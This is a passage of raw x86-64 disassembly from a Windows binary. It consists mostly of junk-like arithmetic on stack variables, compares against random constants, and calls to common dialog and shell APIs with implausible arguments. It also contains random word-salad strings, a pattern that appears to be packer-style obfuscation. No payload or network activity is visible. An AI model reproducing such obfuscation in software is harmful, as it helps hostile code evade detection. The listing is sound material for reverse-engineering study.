movsx edx, byte [rsp + 0x158]
add ecx, edx
cmp eax, ecx
jle 0x14005a484
lea rcx, [rsp + 0x22350]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x2f6c], eax
movzx eax, byte [0x140204008]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xca0]
add eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
or eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x5820]
movzx eax, word [rax]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x56c0]
mov qword [rsp + 0x5840], rax
movabs rax, 0x1ed3c26afbad6b09
cmp qword [rsp + 0x5840], rax
je 0x14005a661
movabs rax, 0x4bc01463b69ef258
cmp qword [rsp + 0x5840], rax
je 0x14005a4c5
jmp 0x14005a67b
lea rcx, [rsp + 0x22130]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2fc4], eax
mov eax, dword [rsp + 0x2ee4]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x5848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5848]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5790]
xor rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56f0]
ja 0x14005a63e
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov qword [rsp + 0x5850], rax
movabs rax, 0xd29ea7fcdf621c69
cmp qword [rsp + 0x5850], rax
je 0x14005a631
movabs rax, 0xd4f8664bd00ac17b
cmp qword [rsp + 0x5850], rax
je 0x14005a575
jmp 0x14005a63e
mov r8w, 0xe0
mov rdx, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x5860]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xca4], ax
mov eax, dword [rsp + 0x2f94]
movzx ecx, al
mov eax, dword [rsp + 0x2fa8]
shl eax, cl
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
lea rax, [rsp + 0x22130]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5858]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2f60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x224a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5868]
mov r8, qword [rsp + 0x5858]
lea rdx, str.BivouacsjurisdictionallightingMeldpyromaniacs
mov ecx, ILFree
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x2edc], eax
jmp 0x14005a63e
mov ecx, dword [rsp + 0x2f3c]
call fcn.1401b7810
nop
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
jmp 0x14005a67b
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0xca0], ax
cmp dword [rsp + 0x2f00], 0xfc4c
je 0x14005ab38
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0x9c8]
and eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
sub eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2fa8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x5790]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2f60]
sar eax, cl
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140204008], al
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov byte [rsp + 0x157], al
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x159]
or eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
and eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [0x140204008]
add eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f94]
mov ecx, dword [rsp + 0x2fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fc0], eax
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee4], eax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140204008], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xca4]
shl eax, cl
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x5800]
mov qword [rsp + 0x5870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5870]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xca4]
sub eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xca4]
add eax, ecx
mov word [rsp + 0xa70], ax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0xe8], al
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f00]
add eax, 0xfa
mov dword [rsp + 0x2f00], eax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fc0]
movzx ecx, al
mov eax, dword [rsp + 0x2f68]
shr eax, cl
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movzx eax, byte [0x140204008]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
shl eax, cl
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
jmp 0x14005a67b
movzx eax, byte [rsp + 0x15c]
mov byte [rsp + 0x2fc8], al
cmp byte [rsp + 0x2fc8], 0
je 0x14005ab91
cmp byte [rsp + 0x2fc8], 0x74
je 0x14005ab60
jmp 0x14005ac14
lea r9, [rsp + 0x5778]
lea r8, [rsp + 0x5790]
mov rdx, qword [rsp + 0x5878]
lea rcx, [rsp + 0x159]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x2f54], eax
jmp 0x14005ac14
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x2fcc], eax
cmp dword [rsp + 0x2fcc], 0x7048ea01
je 0x14005abb1
jmp 0x14005ac14
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x2fd0], al
cmp byte [rsp + 0x2fd0], 0x3a
je 0x14005abcc
jmp 0x14005ac0e
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5818]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f60], eax
jmp 0x14005ac14
call fcn.1401b8470
nop
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
cmp rax, qword [rcx]
jl 0x1401b71a1
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xe8]
movzx edx, byte [rsp + 0x15b]
add ecx, edx
cmp eax, ecx
jne 0x14005ad61
mov eax, dword [rsp + 0x2edc]
mov dword [rsp + 0x2fd4], eax
mov dword [rsp + 0x2fd8], 0xb80f
lea rax, [rsp + 0x2fd4]
mov qword [0x140205218], rax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x159]
xor eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x2fa8]
mov dword [rsp + 0x2fdc], eax
cmp dword [rsp + 0x2fdc], 0x30bd59a8
je 0x14005ad00
cmp dword [rsp + 0x2fdc], 0x8286d071
je 0x14005acdb
jmp 0x14005ad5c
movsx eax, word [rsp + 0xca4]
movsx ecx, word [rsp + 0xa70]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
call fcn.1401b8470
nop
jmp 0x14005ad5c
lea rax, [rsp + 0x22350]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5880]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x221b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x21e90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5858]
mov r8, qword [rsp + 0x5860]
lea rdx, str.relaiduntraceable
mov ecx, ILCreateFromPathW
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x2edc], eax
jmp 0x14005aea3
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x2ee4]
mov edx, dword [rsp + 0x2f3c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14005aea3
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0xe8]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x5888], rax
movabs rax, 0x4e283582cfbcb0d6
cmp qword [rsp + 0x5888], rax
je 0x14005adea
movabs rax, 0x6809118ae40d994a
cmp qword [rsp + 0x5888], rax
je 0x14005ae47
jmp 0x14005aea3
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fc0], eax
jmp 0x14005aea3
lea rax, [rsp + 0x2ef0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5890]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5750]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x21e90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5878]
mov r8, qword [rsp + 0x5898]
lea rdx, str.reimplementation_betokenunutterably
mov ecx, 0x8b
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2f68]
mov edx, dword [rsp + 0x2f94]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14005afd4
mov rax, qword [rsp + 0x5818]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x2f60]
mov edx, dword [rsp + 0x2ee4]
sub edx, ecx
mov ecx, edx
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x2fe0], al
cmp byte [rsp + 0x2fe0], 0x55
je 0x14005af36
jmp 0x14005afb1
mov r9d, 0x6b
mov r8, qword [rsp + 0x5878]
mov edx, 0x6f
mov rcx, qword [rsp + 0x58a0]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x2fc0], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
lea rcx, [rsp + 0x21e40]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0x58a8], rax
jmp 0x14005afcf
mov rax, qword [0x140205218]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
jmp 0x1401b719b
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xc98]
add ecx, edx
cmp eax, ecx
jne 0x1401b719b
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x58b0], rax
mov dword [rsp + 0x2fe4], 0x965
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5800]
mov qword [rsp + 0x58b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58b8]
mov rax, qword [rax]
shr rax, cl
cmp rax, qword [rsp + 0x56f0]
je 0x14005b0a6
lea rcx, [rsp + 0x2f3c]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x2fe8], eax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2fa8]
call fcn.1401b86e0
nop
jmp 0x1401b70fd
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
cmp rax, qword [rcx]
jg 0x1401b70fd
cmp dword [rsp + 0x2ee8], 0x10381
ja 0x14005b281
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [0x140205210]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ee8]
add eax, 0xba
mov dword [rsp + 0x2ee8], eax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
shl eax, cl
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x56b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2fd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
jmp 0x14005b0cd
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov edx, dword [rsp + 0x2ee4]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jg 0x1401b70b8
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov qword [rsp + 0x58c0], rax
movabs rax, 0xfde52e9a29a77bb
cmp qword [rsp + 0x58c0], rax
je 0x14005b2da
jmp 0x14005b313
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x58c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
jmp 0x1401b6fd4
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2fa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x2fec], al
cmp byte [rsp + 0x2fec], 0
je 0x14005b358
cmp byte [rsp + 0x2fec], 0x75
je 0x14005b39d
jmp 0x14005b440
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [0x140204010], rax
lea rax, [rsp + 0x56f0]
mov qword [rsp + 0x58d0], rax
movzx eax, word [rsp + 0xc98]
mov word [rsp + 0xca8], ax
jmp 0x14005b440
lea rdx, [rsp + 0x2f24]
lea rcx, [rsp + 0x58d8]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x2f24], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov r9, qword [rsp + 0x58e0]
mov r8, qword [rsp + 0x5860]
mov rdx, qword [rsp + 0x58e8]
mov rcx, qword [rsp + 0x58f0]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x2f60], eax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov dword [rsp + 0x2ff0], 0x89b1
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov edx, dword [rsp + 0x2ee4]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jle 0x1401b6f0c
mov eax, dword [rsp + 0x2ee4]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x58f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5778]
mov edx, dword [rsp + 0x2f3c]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jne 0x14005b58d
mov eax, dword [rsp + 0x2fa8]
mov dword [rsp + 0x2ff4], eax
cmp dword [rsp + 0x2ff4], 0
je 0x14005b4e3
cmp dword [rsp + 0x2ff4], 0x75bb6768
je 0x14005b522
jmp 0x14005b531
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f68], eax
lea rax, [rsp + 0x56f0]
mov qword [rsp + 0x5900], rax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x5908], rax
jmp 0x14005b531
lea rcx, [rsp + 0x5910]
call qword [sym.imp.SHELL32.dll_ILFree]
nop
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x5918], rax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x5920], rax
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c8], ax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov byte [rcx], al
lea rax, [rsp + 0x2f3c]
mov qword [rsp + 0x5928], rax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fa8]
sub ecx, eax
mov eax, ecx
mov dword [0x140205210], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [0x140204010]
mov rcx, qword [rsp + 0x5790]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sar eax, cl
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xca8]
xor eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov eax, dword [rsp + 0x2fd8]
add eax, 0x44
mov dword [rsp + 0x2fd8], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56c0]
shl rax, cl
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2f94]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2fc0]
mov ecx, dword [rsp + 0x2f94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0xca0], ax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x15d], al
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x2f94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x5930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5930]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
xor eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
or eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
